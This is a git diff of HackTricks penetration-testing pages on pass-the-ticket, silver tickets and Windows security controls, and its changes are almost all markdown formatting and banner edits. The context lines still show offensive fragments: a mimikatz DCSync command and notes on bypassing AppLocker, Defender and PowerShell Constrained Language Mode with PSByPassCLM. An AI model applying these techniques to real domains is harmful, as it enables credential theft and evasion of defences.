-If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: 
+If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
-- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
+
-- `rdate -n <IP of DC>`
+* `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
+* `rdate -n <IP of DC>`
 
 ### Mitigation
 
@@ -173,12 +170,12 @@ Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

windows-hardening/active-directory-methodology/pass-the-ticket.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -65,10 +65,10 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
 
 * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -80,7 +80,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/silver-ticket.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -168,7 +168,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
 [dcsync.md](dcsync.md)
 {% endcontent-ref %}
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

windows-hardening/authentication-credentials-uac-and-efs.md

@@ -7,12 +7,12 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
@@ -21,9 +21,9 @@ Get Access Today:
 
 ## AppLocker Policy
 
-An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.&#x20;
+An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.
 
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **application whitelisting solution** and gives system administrators control over **which applications and files users can run**. It provides **granular control** over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers. \
+[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **application whitelisting solution** and gives system administrators control over **which applications and files users can run**. It provides **granular control** over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.\
 It is common for organizations to **block cmd.exe and PowerShell.exe** and write access to certain directories, **but this can all be bypassed**.
 
 ### Check
@@ -88,7 +88,7 @@ It is the database of the Active Directory. It is only present in Domain Control
 
 ## Defender
 
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft\_Defender) **** is an Antivirus that is available in Windows 10 and Windows 11, and in versions of Windows Server. It **blocks** common pentesting tools such as **`WinPEAS`**. However, there are ways to **bypass these protections**.&#x20;
+[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft\_Defender) \*\*\*\* is an Antivirus that is available in Windows 10 and Windows 11, and in versions of Windows Server. It **blocks** common pentesting tools such as **`WinPEAS`**. However, there are ways to **bypass these protections**.
 
 ### Check
 
@@ -108,7 +108,8 @@ NISEngineVersion                : 0.0.0.0
 [...]
 <strong>RealTimeProtectionEnabled       : True
 </strong>RealTimeScanDirection           : 0
-PSComputerName                  :</code></pre>
+PSComputerName                  :
+</code></pre>
 
 To enumerate it you could also run:
 
@@ -176,7 +177,7 @@ Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about
 
 ## LAPS
 
-****[**Local Administrator Password Solution (LAPS)**](https://www.microsoft.com/en-us/download/details.aspx?id=46899) allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. If your user is given enough permissions you might be able to read the passwords of the local admins.
+\*\*\*\*[**Local Administrator Password Solution (LAPS)**](https://www.microsoft.com/en-us/download/details.aspx?id=46899) allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. If your user is given enough permissions you might be able to read the passwords of the local admins.
 
 {% content-ref url="active-directory-methodology/laps.md" %}
 [laps.md](active-directory-methodology/laps.md)
@@ -184,7 +185,7 @@ Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about
 
 ## PS Constrained Language Mode
 
-PowerShell **** [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **locks down many of the features** needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.
+PowerShell \*\*\*\* [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **locks down many of the features** needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.
 
 ### **Check**
 
@@ -200,7 +201,7 @@ $ExecutionContext.SessionState.LanguageMode
 Powershell -version 2
 ```
 
-In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM). \
+In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
 **To compile it you may need** **to** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**.
 
 #### Direct bypass:
@@ -266,15 +267,13 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha
 
 ## UAC - User Account Control
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**.&#x20;
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**.
 
 {% content-ref url="windows-security-controls/uac-user-account-control.md" %}
 [uac-user-account-control.md](windows-security-controls/uac-user-account-control.md)
 {% endcontent-ref %}
 
-
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
-
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
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@@ -282,8 +281,6 @@ Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
-
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@@ -291,7 +288,7 @@ Get Access Today:
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+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>